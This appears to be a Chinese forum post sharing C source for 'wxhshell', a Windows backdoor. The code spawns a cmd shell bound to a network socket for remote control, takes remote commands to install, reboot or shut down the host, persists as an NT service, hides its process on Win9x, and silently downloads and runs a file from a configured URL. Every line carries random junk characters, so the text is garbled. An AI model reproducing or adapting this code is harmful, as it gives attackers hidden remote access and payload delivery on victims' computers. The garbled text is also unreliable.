    switch(cmd[0]) { 3Y)z{o>P  
  hk5!$#^  
  // 帮助 >ph=?M KD  
  case '?': { E]~ #EFc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | ;a$ l(~<  
    break; t'$_3ml  
  } n-M6~   
  // 安装 >qy62:co  
  case 'i': { `$1A;wg<  
    if(Install()) TxQsi"0c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SHPDbBS  
    else X1B)(|7$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (G+)v[f  
    break; :^?-bppYW  
    } tE-bHu370  
  // 卸载 ]#shuZ##>0  
  case 'r': { ,ov$` v  
    if(Uninstall()) OjffN'a+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:_3N2U=+  
    else /PaS <"<P@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:h'kgG&  
    break; %u9 Q`  
    } Xmmj.ZUr  
  // 显示 wxhshell 所在路径 x4kQGe(  
  case 'p': { ]lGkZyU hI  
    char svExeFile[MAX_PATH]; NKFeND  
    strcpy(svExeFile,"\n\r"); <Af&Q0J  
      strcat(svExeFile,ExeFile); ] rqx><!  
        send(wsh,svExeFile,strlen(svExeFile),0); ~P}ng{x4z  
    break; cy6YajOk7  
    } TW 1`{SM  
  // 重启 s7}-j2riq  
  case 'b': { m\&99-j:@b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KI\bV0$p<  
    if(Boot(REBOOT)) `*Wg&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RRy D<7s1  
    else { mnZfk  
    closesocket(wsh); %F150$(D  
    ExitThread(0); \>oy2{=;'  
    } oc-&}R4=  
    break; e@O]c "  
    } 5.\|*+E~  
  // 关机 9f& !Uw_W  
  case 'd': { X*7VDt=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,tZL"  
    if(Boot(SHUTDOWN)) :/PxfN5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8PNMbv{  
    else { 'tMD=MH  
    closesocket(wsh); _Ad63.Uq))  
    ExitThread(0); 5>S1lyam  
    } ^ux'-/  
    break; ?vWF[ DRd'  
    } _ j'm2BA O  
  // 获取shell "u sPzp5  
  case 's': { >f&L7@  
    CmdShell(wsh); ;=P!fvHk  
    closesocket(wsh); D{d%*hlI 3  
    ExitThread(0); t&JOASYC  
    break; &%(Dd  
  } `N}V i6FG  
  // 退出 QaE!?R  
  case 'x': { (8ct'Q;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )J yB  
    CloseIt(wsh); LrdED[Z  
    break; @6!Myez'  
    } ryz NM3  
  // 离开 iSOyp\E|  
  case 'q': { Dh}d-m_5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Uv<nJM  
    closesocket(wsh); _@)-#7  
    WSACleanup(); ^u90N>Dvq  
    exit(1); k]-Q3 V  
    break; ;c|_z 9+  
        } ^XYK }J  
  } +>yh` Zb  
  } "ig)7X+Wz|  
~A%+oa*2~  
  // 提示信息 ?c"i V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^g2Vz4u  
} 7&jq  =  
  } D\J.6W  
x<w-j[{k_K  
  return; !H)!b#_  
} l*CCnqE  
]d{lS&PRlg  
// shell模块句柄 Wzff p}V  
int CmdShell(SOCKET sock) "Il) _Ui  
{ i;qij[W.z  
STARTUPINFO si; u+6L>7t88I  
ZeroMemory(&si,sizeof(si)); D^s#pOZS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L"c.15\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e^;:iJS  
PROCESS_INFORMATION ProcessInfo; b ettOg  
char cmdline[]="cmd"; &N/dxKZcc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ]sP  
  return 0; 3;uLBuZOCN  
} ]i1OssV~>  
S5H}   
// 自身启动模式 h~._R6y  
int StartFromService(void) I;?PDhDb  
{ muK.x7zyl  
typedef struct e6 <9`Xg  
{ TZg1,Z  
  DWORD ExitStatus; t1yfSStp  
  DWORD PebBaseAddress; >@a7Zzl0H  
  DWORD AffinityMask; F_/ra?WVH  
  DWORD BasePriority; 9@Cu5U]  
  ULONG UniqueProcessId; eQ[}ALIq  
  ULONG InheritedFromUniqueProcessId; ;jPiD`Kyv  
}   PROCESS_BASIC_INFORMATION; >lJTS t5{  
eqOT@~H  
PROCNTQSIP NtQueryInformationProcess; TB<$9FCHK  
{7$jwk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |,H 2ge  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @a=jSB#B  
qrZ3`@C4k  
  HANDLE             hProcess; d|W=_7 z  
  PROCESS_BASIC_INFORMATION pbi; ,E%O_:}R  
/&czaAR-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j]-_kjt  
  if(NULL == hInst ) return 0; >-3>Rjo>  
 -V"W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |v#D}E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !N][W#:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +.rOqkxJ  
k3Puq1H  
  if (!NtQueryInformationProcess) return 0; @li/Y6Wh  
R7h3O0@!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /74h+.amg  
  if(!hProcess) return 0; NP4u/C<  
f1U8 b*F<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v7hw%9(=  
m9D Tz$S.  
  CloseHandle(hProcess); v<(+ l)Ln  
dd +lQJ c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oe<@mz/  
if(hProcess==NULL) return 0; jlqSw4_  
|S<!'rY  
HMODULE hMod; gg#lI|  
char procName[255]; ~oK0k_{~  
unsigned long cbNeeded; g2M1zRm;  
zqQ[uO]m?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^;[_CF _  
$Tt.r  
  CloseHandle(hProcess); @W==)S%O  
:>H{?  
if(strstr(procName,"services")) return 1; // 以服务启动 ug"4P.wI  
MpJ\4D5G  
  return 0; // 注册表启动 kaIns  
} \PG_i'R  
c&h8Qk3  
// 主模块 2\#$::B9  
int StartWxhshell(LPSTR lpCmdLine) (4C)] RHQ  
{ E]a;Ydf~  
  SOCKET wsl; q]Xu #:X  
BOOL val=TRUE; 6p3cMJ'8y  
  int port=0; Y ;E'gP-J  
  struct sockaddr_in door; xh25 *y  
i],~tT|P  
  if(wscfg.ws_autoins) Install(); uz20pun4B  
z_A\\  
port=atoi(lpCmdLine); bTAY5\wB  
,C_MB1u  
if(port<=0) port=wscfg.ws_port; ,K30.E  
OJM2t`}_t  
  WSADATA data; &5B/>ag1!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Are0Nj&?  
\CS4aIp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j+gh*\:q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S+^hK1jL  
  door.sin_family = AF_INET; m*i,|{UZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e5; YY  
  door.sin_port = htons(port); +br' 2Pn  
JP^x]t:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $GhL-sqm  
closesocket(wsl); 5'w&M{{9  
return 1; OCCC' k  
} ^'+#BPo9@  
vD/l`Ib:  
  if(listen(wsl,2) == INVALID_SOCKET) { 1g$xKe~]4  
closesocket(wsl); j>.1RG  
return 1; vI48*&]wTf  
} ^R(=4%8%"  
  Wxhshell(wsl); $?[pcgv  
  WSACleanup(); )U]q{0`  
:DuEv:;v  
return 0; ;/IX w>O(/  
_t4(H))]vG  
} 5 5Mtjqfp  
~[BGKq h  
// 以NT服务方式启动 INCD5dihJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mdp'u$^!  
{ ~u[1Vz4#3  
DWORD   status = 0; j|p=JrCJ  
  DWORD   specificError = 0xfffffff; f%[xl6VE;  
n 1^h;2gz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BXz g33  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f3.oc9G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I9#l2<DYlX  
  serviceStatus.dwWin32ExitCode     = 0; +<B"g{dLuX  
  serviceStatus.dwServiceSpecificExitCode = 0; 4((p?jb C  
  serviceStatus.dwCheckPoint       = 0; {Dy,u%W?  
  serviceStatus.dwWaitHint       = 0; BmYX8j]  
}%42Ty  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *#?9@0b@  
  if (hServiceStatusHandle==0) return; EW `WFBjj  
-0NkAQrg  
status = GetLastError(); [I<J6=  
  if (status!=NO_ERROR) 8R(l~  
{ i;IhsKO0R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nm%#rZrN~Q  
    serviceStatus.dwCheckPoint       = 0; Uw3wR!:  
    serviceStatus.dwWaitHint       = 0; /pLf?m9  
    serviceStatus.dwWin32ExitCode     = status; oBo |eRIt|  
    serviceStatus.dwServiceSpecificExitCode = specificError; `ooHABC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rx<P#y]3)  
    return; =fB"T+  
  } K;w]sN+I  
N+pCC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^.~e  
  serviceStatus.dwCheckPoint       = 0; Jv]$@>#  
  serviceStatus.dwWaitHint       = 0; XCXX(8To0=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "zqa:D26  
} [l<&eI&ln  
A2P.5EN  
// 处理NT服务事件,比如:启动、停止 Q0ba;KPm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dAM]ZR<  
{ Qz$nWsD  
switch(fdwControl) |BD2=7,z  
{ @,W5K$Ka=  
case SERVICE_CONTROL_STOP: p&HO~J <w  
  serviceStatus.dwWin32ExitCode = 0; EV|W:;Sg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _[wG-W/9R  
  serviceStatus.dwCheckPoint   = 0; hVd_1|/X  
  serviceStatus.dwWaitHint     = 0; lWP]}Uy=5~  
  { [O]rf+NZ(5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #v6<9>%  
  } u1. 0-Y?  
  return; Y&DoA0/y  
case SERVICE_CONTROL_PAUSE: r{Mn{1:O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?papk4w  
  break; w2lO[o~x}  
case SERVICE_CONTROL_CONTINUE: (eHTXk*V`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6/" #pe^  
  break; `/B+  
case SERVICE_CONTROL_INTERROGATE: z+zEH9.'  
  break; J*Cf1 D5!  
}; y*=Ipdj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VG50n<m9  
} Q=#FvsF#z3  
2j ]uB0  
// 标准应用程序主函数 g!cW`B'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T&Z*=ShH  
{ `9\^.g)  
Z4gn7 'V  
// 获取操作系统版本 m)r,  
OsIsNt=GetOsVer();  &!wtH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K\mFb  
y!q`o$nK  
  // 从命令行安装 Dg}EI^ d  
  if(strpbrk(lpCmdLine,"iI")) Install(); $IdU  
eIhfhz?Q;#  
  // 下载执行文件 "/3YV%to-#  
if(wscfg.ws_downexe) { {)Shc;Qh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qT#NS&T!-  
  WinExec(wscfg.ws_filenam,SW_HIDE); MfdkvJ'  
} nmyDGuzk  
>Y|P+Z\7  
if(!OsIsNt) { by,3A  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~|LAe-e"  
HideProc(); Eb5BJ-XeS^  
StartWxhshell(lpCmdLine); l=#b7rBP  
} OO,EUOh-T:  
else bPV;"  
  if(StartFromService()) VS_I'SPPIc  
  // 以服务方式启动 s E;2;2u"  
  StartServiceCtrlDispatcher(DispatchTable); ni<\ AF]`  
else 8u1?\SYnb  
  // 普通方式启动 <vxTfE@>bp  
  StartWxhshell(lpCmdLine); }2Y`Lr  
(''w$qq"D  
return 0; 7=qvu&{  
}
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只看该作者 1 发表于: 2006-10-10
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